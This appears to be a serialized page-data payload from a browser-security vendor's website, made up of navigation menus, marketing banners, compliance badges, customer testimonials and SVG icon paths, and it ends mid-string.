[{"data":1,"prerenderedAt":1263},["ShallowReactive",2],{"application-flags":3,"navbar":7,"always-visible-banner":35,"trust-badges":98,"solution-nav":119,"mega-nav":264,"fa-icon-solid-faDisplay":419,"fa-icon-solid-faFilter":422,"fa-icon-solid-faCloudArrowUp":424,"fa-icon-solid-faEnvelope":427,"fa-icon-sharp-regular-faUserSecret":429,"fa-icon-sharp-regular-faBrainCircuit":432,"fa-icon-sharp-regular-faShieldCheck":434,"fa-icon-sharp-regular-faRadar":436,"fa-icon-solid-faMobileScreenButton":438,"fa-icon-sharp-regular-faSatelliteDish":441,"fa-icon-brands-faChrome":443,"fa-icon-sharp-regular-faPenNib":445,"fa-icon-sharp-regular-faBooks":447,"fa-icon-sharp-regular-faBriefcase":449,"fa-icon-sharp-regular-faBookOpenCover":451,"fa-icon-sharp-regular-faBrowser":453,"fa-icon-sharp-regular-faBook":455,"fa-icon-sharp-regular-faGrid":457,"fa-icon-sharp-regular-faBuilding":459,"fa-icon-sharp-regular-faHandshakeSimple":461,"fa-icon-sharp-regular-faArrowTrendUp":463,"fa-icon-sharp-regular-faCalendarStar":465,"fa-icon-sharp-regular-faNewspaper":467,"fa-icon-sharp-regular-faUsers":469,"fa-icon-sharp-regular-faMessagesQuestion":471,"threat-intelligence-tool:turntip":473,"threat-intelligence-evasion:turntip":33,"threat-intelligence-payloads:turntip":1061,"threat-intelligence-global":1073,"threat-intelligence-technique-table":1210},[4],{"name":5,"enabled":6},"maintenanceMode",false,[8],{"createdDate":9,"id":10,"name":11,"modelId":12,"published":13,"meta":14,"query":20,"data":21,"variations":26,"lastUpdated":27,"firstPublished":28,"testRatio":29,"createdBy":30,"lastUpdatedBy":31,"folders":32,"lastUpdateSource":33,"stageModifiedSincePublish":6,"rev":34},1742208588866,"1c7a4e423bf54ac1a328bb4063459ef2","Banner","1c6207a5f24948ab82d4a0b17f251193","published",{"breakpoints":15,"hasAutosaves":6,"hasErrors":6,"kind":19},{"medium":16,"small":17,"xsmall":18},768,640,320,"data",[],{"link":22,"text":23,"type":24,"url":25},{},"Get the latest stats and analysis on browser-based attacks","web-banner","https:\u002F\u002Fpushsecurity.com\u002Fresources\u002Fbrowser-attacks",{},1790775413052,1742208637545,1,"CydmZnOWU1XuAaLhEDCoYNM4Z8W2","jKjF9r5jcvXU8tzZEfFQm31Iyvr2",[],null,"v9c05zm0mil",{"createdBy":36,"createdDate":37,"data":38,"folders":86,"id":87,"lastUpdated":88,"lastUpdatedBy":36,"meta":89,"modelId":92,"name":93,"published":13,"query":94,"testRatio":29,"variations":95,"firstPublished":96,"stageModifiedSincePublish":6,"lastUpdateSource":33,"rev":97},"ST0tXQM8slWpFrmioqKHmENB2qe2",1774965361051,{"ctaText":39,"inputs":40,"text":41,"url":42,"blocks":43,"state":82},"ewrererw",[],"testrfesssssssssss","",[44,71],{"@type":45,"@version":46,"id":47,"component":48,"responsiveStyles":61},"@builder.io\u002Fsdk:Element",2,"builder-ca12c06a52de41d7b8743da53118cd38",{"name":49,"tag":49,"options":50,"isRSC":33},"TopBannerContent",{"text":51,"ctaText":52,"url":53,"mainText":54,"cta":57,"styleVariant":60,"showMonsters":6},"New Webinar Series: Join John Hammond, Troy Hunt, and Matt Johansen for the State of Browser Attacks","Save Your Spot","https:\u002F\u002Fpushsecurity.com\u002Fwebinar\u002Fstate-of-browser-security",{"content":55,"fontSize":56},"\u003Cp class=\"\">\u003Cstrong>Get a free browser security assessment and find what your current tools miss\u003C\u002Fstrong>\u003C\u002Fp>","text-base",{"content":58,"fontSize":56,"url":59},"\u003Cp class=\"\">Request Assessment\u003C\u002Fp>","https:\u002F\u002Fpushsecurity.com\u002Flp\u002Fbrowser-security-assessment","default",{"large":62},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67,"marginTop":68,"marginBottom":68,"fontSize":69,"fontWeight":70},"flex","column","relative","0","border-box",".56rem","1.125rem","700",{"id":72,"@type":45,"tagName":73,"properties":74,"responsiveStyles":77},"builder-pixel-6kql2jrn2g9","img",{"src":75,"aria-hidden":76,"alt":42,"width":66,"height":66},"https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fpixel?apiKey=f3a1111ff5be48cdbb123cd9f5795a05","true",{"large":78},{"height":66,"width":66,"display":79,"opacity":66,"overflow":80,"pointerEvents":81},"block","hidden","none",{"deviceSize":83,"location":84},"large",{"path":42,"query":85},{},[],"fd266d0172cc47429be7ad10f48c99ad",1792492581845,{"breakpoints":90,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":91},{"medium":16,"small":17,"xsmall":18},"component","0678d178ec8b41efb8a23c09dba7874d","always visible banner",[],{},1774968080803,"dezl7amuk0b",[99,103,107,111,115],{"title":100,"logo":101,"createdDate":102},"SOC2","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fb6727a5e00004d6e9e69fc3068b8b64c",1784291539953,{"title":104,"logo":105,"createdDate":106},"GDPR","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ffe49f53211674deaa5a6640d929cdf42?format=webp",1784291672535,{"title":108,"logo":109,"createdDate":110},"Cyber essentials","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F53558c1045a342a7a28def960cd54ae7?format=webp",1784291702710,{"title":112,"logo":113,"createdDate":114},"ISO IEC 27001","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F578a404a61cf45db951a41fe3554d12d",1784291766222,{"title":116,"logo":117,"createdDate":118},"ISO IEC 27701","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fbe219844b13242fbba531959579a753c",1784291858848,[120,189,234],{"id":121,"label":122,"text":42,"navIcon":123,"items":124},"stop-browser-based-attacks","Stop browser-based attacks","solid:faShieldHalved",[125,130,135,140,145,150,155,160,165,169,174,179,184],{"title":126,"text":127,"url":128,"navIcon":129},"Phishing","Detect phishing behaviorally in the browser, regardless of the payload or delivery channel.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fzero-day-phishing","sharp-regular:faFishingRod",{"title":131,"text":132,"url":133,"navIcon":134},"Adversary-in-the-Middle","Detect and block MFA-bypassing AiTM phishing pages in real-time.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fadversary-in-the-middle-attacks","solid:faUserSecret",{"title":136,"text":137,"url":138,"navIcon":139},"ClickFix (and variants)","Intercept malicious copy and paste attacks at the point of interaction.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fclickfix-fix-variants","sharp-regular:faLaptopCode",{"title":141,"text":142,"url":143,"navIcon":144},"Device code phishing","Detect and block device code phishing kits designed to get around passkeys.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fdevice-code-phishing","solid:faTabletScreenButton",{"title":146,"text":147,"url":148,"navIcon":149},"Consent phishing","Detect and block malicious OAuth consent grants before access is authorized.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fconsent-phishing","solid:faThumbsUp",{"title":151,"text":152,"url":153,"navIcon":154},"Malicious OAuth integrations","Detect and block the root cause of SaaS supply chain attacks.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fmalicious-oauth-integrations","solid:faPlugCircleXmark",{"title":156,"text":157,"url":158,"navIcon":159},"Malicious browser extensions","Inventory, monitor, and block risky browser extensions.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fmalicious-browser-extensions","sharp-regular:faPuzzlePiece",{"title":161,"text":162,"url":163,"navIcon":164},"Malicious file downloads","Control which files users can download by type, source, and user group.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fmalicious-file-downloads","solid:faFileCircleXmark",{"title":166,"text":167,"url":168,"navIcon":164},"Infostealers","Detect infostealer delivery and respond to a compromise.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Finfostealer-malware",{"title":170,"text":171,"url":172,"navIcon":173},"Ghost logins","Surface hidden login paths that bypass SSO and expose accounts.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fghost-logins","solid:faGhost",{"title":175,"text":176,"url":177,"navIcon":178},"Mobile phishing (QR & SMS)","Detect phishing regardless of whether it arrives via email, SMS, or QR code.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fmobile-phishing-qr-code-sms","solid:faQrcode",{"title":180,"text":181,"url":182,"navIcon":183},"Credential stuffing","Identify reused and compromised credentials across SaaS logins.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fcredential-stuffing","custom:credentialStuffing",{"title":185,"text":186,"url":187,"navIcon":188},"Session hijacking","Detect and respond to stolen session token replay with browser session markers.","\u002Fsolution\u002Fstop-browser-based-attacks\u002Fsession-hijacking","solid:faCookieBite",{"id":190,"label":191,"text":42,"navIcon":192,"items":193},"achieve-security-outcomes","Achieve security outcomes","solid:faCheckToSlot",[194,199,204,209,214,219,224,229],{"title":195,"text":196,"url":197,"navIcon":198},"Stop account takeover","Stop ATO before it happens, in the browser","\u002Fsolution\u002Fachieve-security-outcomes\u002Fstop-account-takeover","sharp-regular:faUserSecret",{"title":200,"text":201,"url":202,"navIcon":203},"Harden unmanaged identities","Identify gaps and harden them with guardrails","\u002Fsolution\u002Fachieve-security-outcomes\u002Fharden-unmanaged-identities","sharp-regular:faRadar",{"title":205,"text":206,"url":207,"navIcon":208},"Investigate browser-related incidents","Investigate and respond with browser telemetry","\u002Fsolution\u002Fachieve-security-outcomes\u002Finvestigate-browser-related-incidents","sharp-regular:faSatelliteDish",{"title":210,"text":211,"url":212,"navIcon":213},"Secure shadow IT","See and control shadow SaaS in the browser","\u002Fsolution\u002Fachieve-security-outcomes\u002Fsecure-shadow-saas","sharp-regular:faShieldCheck",{"title":215,"text":216,"url":217,"navIcon":218},"Secure AI","See and control AI apps in the browser","\u002Fsolution\u002Fachieve-security-outcomes\u002Fsecure-ai","sharp-regular:faBrainCircuit",{"title":220,"text":221,"url":222,"navIcon":223},"Secure BYOD","Extend security to unmanaged devices without MDM","\u002Fsolution\u002Fachieve-security-outcomes\u002Fsecure-bring-your-own-device","solid:faMobileScreenButton",{"title":225,"text":226,"url":227,"navIcon":228},"Secure Chromebooks","Protect Chromebooks against in-browser attacks","\u002Fsolution\u002Fachieve-security-outcomes\u002Fsecure-chromebooks","brands:faChrome",{"title":230,"text":231,"url":232,"navIcon":233},"Data loss prevention","Enforce DLP at the point of interaction in the browser","\u002Fsolution\u002Fachieve-security-outcomes\u002Finvestigate-and-stop-data-loss","custom:investigateAndStopDataLoss",{"id":235,"label":236,"text":42,"navIcon":237,"items":238},"tool-replacements","Tool replacements","solid:faScrewdriverWrench",[239,244,249,254,259],{"title":240,"text":241,"url":242,"navIcon":243},"Email Security","Stop phishing outside of the inbox.","\u002Fsolution\u002Ftool-replacements\u002Femail-security","faEnvelope",{"title":245,"text":246,"url":247,"navIcon":248},"Remote browser isolation","Detect attacks that happen inside the browser session.","\u002Fsolution\u002Ftool-replacements\u002Fremote-browser-isolation","solid:faDisplay",{"title":250,"text":251,"url":252,"navIcon":253},"Secure web gateways","Detect attacks inside the browser after SWGs allowed the connection.","\u002Fsolution\u002Ftool-replacements\u002Fsecure-web-gateways","solid:faFilter",{"title":255,"text":256,"url":257,"navIcon":258},"CASB alternative","Catch browser-based identity threats in real time, not after the fact.","\u002Fsolution\u002Ftool-replacements\u002Fcloud-access-security-broker","solid:faCloudArrowUp",{"title":260,"text":261,"url":262,"navIcon":263},"Security awareness training","Block real phishing instead of training users on simulations.","\u002Fsolution\u002Ftool-replacements\u002Fsecurity-awareness-training","custom:securityAwareness",[265,293,354],{"id":266,"columns":267},"Solution",[268,283],{"kind":269,"heading":270,"span":29,"links":271},"links","Compare Push",[272,275,277,279,281],{"title":273,"url":247,"text":246,"navIcon":248,"variant":274},"vs Remote Browser Isolation","compact",{"title":276,"url":252,"text":251,"navIcon":253,"variant":274},"vs Secure Web Gateways",{"title":278,"url":257,"text":256,"navIcon":258,"variant":274},"vs Cloud Access Security Broker",{"title":280,"url":262,"text":261,"navIcon":263,"variant":274},"vs Security Awareness Training",{"title":282,"url":242,"text":241,"navIcon":243,"variant":274},"+ Email Security",{"kind":269,"heading":266,"span":46,"links":284},[285,286,287,288,289,290,291,292],{"title":195,"url":197,"text":196,"navIcon":198},{"title":215,"url":217,"text":216,"navIcon":218},{"title":230,"url":232,"text":231,"navIcon":233},{"title":210,"url":212,"text":211,"navIcon":213},{"title":200,"url":202,"text":201,"navIcon":203},{"title":220,"url":222,"text":221,"navIcon":223},{"title":205,"url":207,"text":206,"navIcon":208},{"title":225,"url":227,"text":226,"navIcon":228},{"id":294,"columns":295},"resources",[296,321,339],{"kind":269,"heading":297,"span":29,"links":298},"Resources",[299,306,311,316],{"title":300,"url":301,"text":302,"navIcon":303,"variant":304,"badge":305},"Research blog","\u002Fblog","Latest threat research and insights","sharp-regular:faPenNib","featured","Latest",{"title":307,"url":308,"text":309,"navIcon":310},"Resource library","\u002Fresources","Check out our webinars and downloads","sharp-regular:faBooks",{"title":312,"url":313,"text":314,"navIcon":315},"Customer stories","\u002Fcustomer-stories","What customers love about Push","sharp-regular:faBriefcase",{"title":317,"url":318,"text":319,"navIcon":320},"Help center","\u002Fhelp\u002Faudience\u002Fadministrators","Guides for employees and admins","sharp-regular:faBookOpenCover",{"kind":269,"heading":322,"span":29,"links":323},"Learn",[324,329,334],{"title":325,"url":326,"text":327,"navIcon":328},"Browser attacks in 2026","\u002Fresources\u002Fbrowser-attacks","The latest stats & analysis","sharp-regular:faBrowser",{"title":330,"url":331,"text":332,"navIcon":333},"Browser attacks glossary","\u002Fresources\u002Fbrowser-attacks-glossary","Understand the threat landscape","sharp-regular:faBook",{"title":335,"url":336,"text":337,"navIcon":338},"Browser attacks matrix","\u002Fresources\u002Fbrowser-identity-attacks-matrix","MITRE-inspired resource for red & blue teams","sharp-regular:faGrid",{"kind":294,"heading":340,"cards":341},"Latest resources",[342,348],{"title":343,"description":344,"cta":345,"background":347},"Browser-based attacks: the 2026 threat landscape","Half of attacks now reach victims outside of email. ClickFix is now the dominant browser attack technique. Get the latest stats and analysis from the Push Security team.",{"text":346,"url":326},"Read the report","orange",{"title":349,"description":350,"cta":351,"background":353},"The browser & identity attacks matrix","Check out the MITRE-inspired matrix of browser & identity attack techniques for red and blue teams. Get involved on GitHub.",{"text":352,"url":336},"Explore the matrix","black",{"id":355,"columns":356},"About",[357,375,398],{"kind":269,"heading":358,"span":29,"links":359},"Get to know us",[360,365,370],{"title":361,"url":362,"text":363,"navIcon":364},"About us","\u002Fabout","Meet the team and learn what drives us","sharp-regular:faBuilding",{"title":366,"url":367,"text":368,"navIcon":369},"Partners","\u002Fpartner","Become a partner and access resources","sharp-regular:faHandshakeSimple",{"title":371,"url":372,"text":373,"navIcon":374},"Investors","\u002Fabout#investors","Learn more about our investors and advisors","sharp-regular:faArrowTrendUp",{"kind":269,"heading":376,"span":29,"links":377},"Keep up with us",[378,383,388,393],{"title":379,"url":380,"text":381,"navIcon":382},"Events","\u002Fevents","See upcoming webinars and in-person events","sharp-regular:faCalendarStar",{"title":384,"url":385,"text":386,"navIcon":387},"News","\u002Fnews","Stay up to date on company news","sharp-regular:faNewspaper",{"title":389,"url":390,"text":391,"navIcon":392},"Careers","\u002Fcareers","Explore open roles","sharp-regular:faUsers",{"title":394,"url":395,"text":396,"navIcon":397},"Contact us","\u002Fcontact","Have a question? We're here to help","sharp-regular:faMessagesQuestion",{"kind":399,"heading":400,"testimonials":401},"testimonials","What customers say",[402,409,414],{"quote":403,"author":404,"jobTitle":405,"image":406,"url":313,"ctaText":407,"background":408},"Security is only as good as its weakest link. From day one, Push found the gaps that would allow attackers to circumvent our controls. We use Push every day — they're one of my favourite teams to work with.","Jason Waits","\u003Cp>CISO, Inductive Automation\u003C\u002Fp>","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ff04c0c0689ce4a89ac0f0708d78c0a07","Read the customer story","white",{"quote":410,"author":411,"jobTitle":412,"image":413,"url":313,"ctaText":407,"background":408},"I'm not going to be able to shove a browser on everybody. I need to be able to support them where they are. Push gave us the visibility and control we needed while allowing people to choose their paths.","Myke Lyons","\u003Cp>CISO, Cribl\u003C\u002Fp>","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F61920ec05c7a45b4b2259b8dded43c9b",{"quote":415,"author":416,"jobTitle":417,"image":418,"url":313,"ctaText":407,"background":408},"No matter the channel for phishing — email, LinkedIn, text — the employee clicks a link that opens a browser session. We see the main control point moving from the endpoint to the browser.","Ash Devata","\u003Cp>CEO, GreyNoise\u003C\u002Fp>","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F392c75ae282342008130cf1147c20e82",{"w":420,"h":420,"d":421},512,"M448 96l0 256-384 0 0-256 384 0zM64 32C28.7 32 0 60.7 0 96L0 352c0 35.3 28.7 64 64 64l144 0-16 48-72 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l272 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-72 0-16-48 144 0c35.3 0 64-28.7 64-64l0-256c0-35.3-28.7-64-64-64L64 32z",{"w":420,"h":420,"d":423},"M32 64C19.1 64 7.4 71.8 2.4 83.8S.2 109.5 9.4 118.6L192 301.3 192 416c0 8.5 3.4 16.6 9.4 22.6l64 64c9.2 9.2 22.9 11.9 34.9 6.9S320 492.9 320 480l0-178.7 182.6-182.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 64 480 64L32 64z",{"w":425,"h":420,"d":426},576,"M144 480c-79.5 0-144-64.5-144-144 0-63.4 41-117.2 97.9-136.5-1.3-7.7-1.9-15.5-1.9-23.5 0-79.5 64.5-144 144-144 55.4 0 103.5 31.3 127.6 77.1 14.2-8.3 30.8-13.1 48.4-13.1 53 0 96 43 96 96 0 15.7-3.8 30.6-10.5 43.7 44 20.3 74.5 64.7 74.5 116.3 0 70.7-57.3 128-128 128l-304 0zM305 191c-9.4-9.4-24.6-9.4-33.9 0l-72 72c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l31-31 0 102.1c0 13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",{"w":420,"h":420,"d":428},"M48 64c-26.5 0-48 21.5-48 48 0 15.1 7.1 29.3 19.2 38.4l208 156c17.1 12.8 40.5 12.8 57.6 0l208-156c12.1-9.1 19.2-23.3 19.2-38.4 0-26.5-21.5-48-48-48L48 64zM0 196L0 384c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64l0-188-198.4 148.8c-34.1 25.6-81.1 25.6-115.2 0L0 196z",{"w":430,"h":420,"d":431},448,"M144-16l-48 112-48 0 0 48 48 0 0 32c0 17 3.3 33.2 9.3 48l-73.3 0 0 32 5.3 16 26.7 80-64 160 51.7 0 56.9-142.2 6.5-16.3c-1-3.1-10.1-30.3-27.2-81.5l51.4 0c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32l51.4 0c-17.1 51.2-26.1 78.4-27.2 81.5l6.5 16.3 56.9 142.2 51.7 0-64-160 26.7-80 5.3-16 0-32-73.3 0c6-14.8 9.3-31 9.3-48l0-32 48 0 0-48-48 0-48-112-32 0-48 32-48-32-32 0zm80 272c-32.8 0-61-19.7-73.3-48l57.3 0 16-40 16 40 57.3 0c-12.3 28.3-40.5 48-73.3 48zm17.5 139.6l30.5-35.6 0-24-96 0 0 24 30.5 35.6-46.5 116.4 128 0-46.5-116.4z",{"w":420,"h":420,"d":433},"M192 48l40 0 0 108-12.4 0c-7.6-16.5-24.3-28-43.6-28-26.5 0-48 21.5-48 48s21.5 48 48 48c19.4 0 36.1-11.5 43.6-28l12.4 0 0 56-92 0 0 56.4c-16.5 7.6-28 24.3-28 43.6 0 26.5 21.5 48 48 48s48-21.5 48-48c0-19.4-11.5-36.1-28-43.6l0-16.4 52 0 0 172-40 0c-16.8 0-31.2-10.3-37.1-25.1l-6.4-16-17.2 1c-1.1 .1-2.2 .1-3.2 .1-30.9 0-56-25.1-56-56 0-9.5 2.4-18.5 6.5-26.3l8.7-16.2-13.4-12.6c-11-10.2-17.8-24.8-17.8-40.9 0-21.6 12.2-40.4 30.3-49.8l22.6-11.7-13.1-21.9c-5-8.4-7.9-18.1-7.9-28.6 0-30.9 25.1-56 56-56l24 0 0-32c0-13.3 10.7-24 24-24zm88 148l12.4 0c7.6 16.5 24.3 28 43.6 28 26.5 0 48-21.5 48-48s-21.5-48-48-48c-19.4 0-36.1 11.5-43.6 28l-12.4 0 0-108 40 0c13.3 0 24 10.7 24 24l0 32 24 0c30.9 0 56 25.1 56 56 0 10.5-2.9 20.3-7.9 28.6l-13.1 21.9 22.6 11.7c18 9.3 30.3 28.1 30.3 49.8 0 16.1-6.8 30.7-17.8 40.9l-13.4 12.6 8.7 16.2c4.2 7.8 6.5 16.7 6.5 26.3 0 30.9-25.1 56-56 56-1.1 0-2.2 0-3.2-.1l-17.2-1-6.4 16C351.2 453.7 336.8 464 320 464l-40 0 0-76 92 0 0-56.4c16.5-7.6 28-24.3 28-43.6 0-26.5-21.5-48-48-48s-48 21.5-48 48c0 19.4 11.5 36.1 28 43.6l0 16.4-52 0 0-152zM192 512l128 0c31.1 0 58.4-16.2 74.1-40.5 52.7-5.1 93.9-49.5 93.9-103.5 0-11.5-1.9-22.5-5.3-32.9 13.4-17.5 21.3-39.4 21.3-63.1 0-32-14.5-60.6-37.1-79.7 3.3-10.2 5.1-21.1 5.1-32.3 0-49.6-34.8-91.1-81.3-101.5-6.3-33.3-35.6-58.5-70.7-58.5L192 0c-35.1 0-64.4 25.2-70.7 58.5-46.5 10.4-81.3 51.9-81.3 101.5 0 11.3 1.8 22.2 5.1 32.3-22.7 19.1-37.1 47.7-37.1 79.7 0 23.7 8 45.6 21.3 63.1-3.5 10.4-5.3 21.4-5.3 32.9 0 54 41.2 98.5 93.9 103.5 15.6 24.3 42.9 40.5 74.1 40.5zM336 192a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm32 96a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zM176 352a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zm16-176a16 16 0 1 1 -32 0 16 16 0 1 1 32 0z",{"w":420,"h":420,"d":435},"M267.6 4.5l207.5 80.5 19.2 7.4 1.2 20.5c2.9 50-4.9 126.3-37.3 200.9-32.7 75.2-91.1 150-189.4 192.5l-12.7 5.5-12.7-5.5C144.9 463.9 86.6 389.2 53.9 313.9 21.5 239.3 13.7 162.9 16.6 113L17.8 92.5 37 85 244.5 4.5 256 0 267.6 4.5zM64.1 126C63.1 169.5 71 232.9 97.9 294.8 126.1 359.7 175 422.4 256 459.6 337.1 422.4 385.9 359.7 414.2 294.8 441 232.9 449 169.5 448 126L256 51.5 64.1 126zm302.3 44.7L352.3 190.1 249.8 330.9 233 354c-8.8-9.1-30.9-32-66.2-68.6l-16.7-17.3 34.5-33.3c9.5 9.8 23.9 24.7 43.2 44.7l85.6-117.7 14.1-19.4 38.8 28.2z",{"w":420,"h":420,"d":437},"M497.4 49l17-17-33.9-33.9C473.6 4.9 453.3 25.2 419.7 58.8 375.4 22.1 318.5 0 256.4 0 115.1 0 .4 114.6 .4 256s114.6 256 256 256 256-114.6 256-256l-48 0c0 114.9-93.1 208-208 208s-208-93.1-208-208 93.1-208 208-208c48.8 0 93.7 16.8 129.1 44.9l-45.7 45.7c-23.5-16.8-52.3-26.6-83.4-26.6-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144l-48 0c0 53-43 96-96 96s-96-43-96-96 43-96 96-96c17.8 0 34.5 4.8 48.8 13.3-52 52-79.5 79.5-82.7 82.7l33.9 33.9 17-17 224-224z",{"w":439,"h":420,"d":440},384,"M16 64C16 28.7 44.7 0 80 0L304 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L80 512c-35.3 0-64-28.7-64-64L16 64zm64 0l0 304 224 0 0-304-224 0zM192 472c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z",{"w":420,"h":420,"d":442},"M208 0l24 0C386.6 0 512 125.4 512 280l0 24-48 0 0-24C464 151.9 360.1 48 232 48l-24 0 0-48zm24 96c101.6 0 184 82.4 184 184l0 24-48 0 0-24c0-75.1-60.9-136-136-136l-24 0 0-48 24 0zM48 256c0 114.9 93.1 208 208 208 22.9 0 45-3.7 65.6-10.5l-263-263C51.7 211 48 233.1 48 256zM0 256c0-36.5 7.6-71.3 21.4-102.7 6.7-15.3 14.9-29.9 24.4-43.5 7.7 7.7 61.5 61.5 161.2 161.2 30.5-30.5 49.5-49.5 57-57L297.9 248c-7.5 7.5-26.5 26.5-57 57 99.7 99.7 153.5 153.5 161.2 161.2-13.6 9.5-28.2 17.7-43.5 24.4-31.4 13.8-66.2 21.4-102.7 21.4-141.4 0-256-114.6-256-256z",{"w":420,"h":420,"d":444},"M0 256c0-46.6 12.5-90.4 34.3-128.9L144.1 318.3c21.9 39.2 63.8 65.7 111.9 65.7 14.3 0 27.1-2.3 40.8-6.6L220.5 509.6C95.9 492.3 0 385.3 0 256zm365.1 65.6c12.3-19.2 18.9-42.5 18.9-65.6 0-38.2-16.8-72.5-43.3-96l152.7 0c12 29.6 18.6 62.1 18.6 96 0 141.4-114.6 255.1-256 256L365.1 321.6zM477.8 128L256 128c-62.9 0-113.7 44.1-125.5 102.7L54.2 98.5C101 38.5 174 0 256 0 350.8 0 433.5 51.5 477.8 128zM344 256a88 88 0 1 1 -176 0 88 88 0 1 1 176 0z",{"w":425,"h":420,"d":446},"M406.1 198.1l0 0-3.6 10.7-56.3 168.8-221.5 69.9 98.5-98.5c5.2 1.9 10.8 3 16.7 3 26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48c0 5.9 1.1 11.5 3 16.7l-98.5 98.5 69.9-221.5 168.8-56.3 10.8-3.6 0 0 60.1 60.1zM80 512l304-96 64-192c59.4-59.4 96.7-96.7 112-112-18.3-18.3-49.6-49.6-94.1-94.1L432-16C416.7-.7 379.4 36.6 320 96l-192 64-96 304 48 48z",{"w":425,"h":420,"d":448},"M404.8 45.3l12.4 46.4-77.3 20.7-12.4-46.4 77.3-20.7zm5.5 329.8l-58-216.4 77.3-20.7 58 216.4-77.3 20.7zm12.4 46.4l77.3-20.7 12.4 46.4-77.3 20.7-12.4-46.4zM315.1 19.6l-46.4 12.4 8.6 32-69.2 0 0-64-176 0 0 512 304 0 0-228.4c41.8 156.2 63.5 237.1 65.1 243 64.4-17.3 167.4-44.9 170-45.6l-12.4-46.4-107.7-401.8-12.4-46.4C413-6.6 371.7 4.4 315.1 19.6zM208.1 464l0-352 80 0 0 352-80 0zm-48-400l0 32-80 0 0-48 80 0 0 16zm0 80l0 224-80 0 0-224 80 0zm0 272l0 48-80 0 0-48 80 0z",{"w":420,"h":420,"d":450},"M168 0l-24 0 0 96-144 0 0 384 512 0 0-384-144 0 0-96-200 0zM464 256l-416 0 0-112 416 0 0 112zM320 304l144 0 0 128-416 0 0-128 144 0 0 48 128 0 0-48zm0-208l-128 0 0-48 128 0 0 48z",{"w":425,"h":420,"d":452},"M312 114.4l0 282.1 9.2-3.3C367.8 376.5 417 368 466.5 368l61.5 0 0-288-61.5 0c-38.5 0-76.7 6.6-113 19.6L312 114.4zM264 396.5l0-282.1-41.5-14.8C186.2 86.6 148 80 109.5 80l-61.5 0 0 288 61.5 0c49.5 0 98.7 8.5 145.3 25.2l9.2 3.3zM528 32l48 0 0 384-109.5 0c-44 0-87.7 7.6-129.2 22.4L288 456 238.6 438.4C197.2 423.6 153.5 416 109.5 416L0 416 0 32 109.5 32c44 0 87.7 7.6 129.2 22.4L288 72 337.4 54.4C378.8 39.6 422.5 32 466.5 32L528 32zM0 464l91.7 0c36.9 0 73.6 5 109.2 14.9l86.2 24 42.2-15.1c44-15.7 90.5-23.8 137.2-23.8l109.5 0 0 48-109.5 0c-41.3 0-82.2 7.1-121.1 21l-49.4 17.6-7.2 2.6-7.3-2-93.6-26c-31.4-8.7-63.8-13.1-96.4-13.1L0 512 0 464z",{"w":420,"h":420,"d":454},"M48 256l0 144 416 0 0-144-416 0zM0 64l512 0 0 384-512 0 0-384zm64 64l0 64 64 0 0-64-64 0zm120 8l-24 0 0 48 288 0 0-48-264 0z",{"w":430,"h":420,"d":456},"M24 0L0 0 0 432 .4 432c-.2 2.6-.4 5.3-.4 8l0 72 448 0 0-48-32 0 0-64 32 0 0-400-424 0zM368 400l0 64-320 0 0-24c0-22.1 17.9-40 40-40l280 0zM88 352c-14.4 0-28 3.5-40 9.6l0-313.6 352 0 0 304-312 0zm40-224l0 48 224 0 0-48-224 0zm224 96l-224 0 0 48 224 0 0-48z",{"w":420,"h":420,"d":458},"M112 64l0 48-48 0 0-48 48 0zM64 24l-40 0 0 128 128 0 0-128-88 0zm48 208l0 48-48 0 0-48 48 0zM64 192l-40 0 0 128 128 0 0-128-88 0zm0 208l48 0 0 48-48 0 0-48zM24 360l0 128 128 0 0-128-128 0zM280 64l0 48-48 0 0-48 48 0zM232 24l-40 0 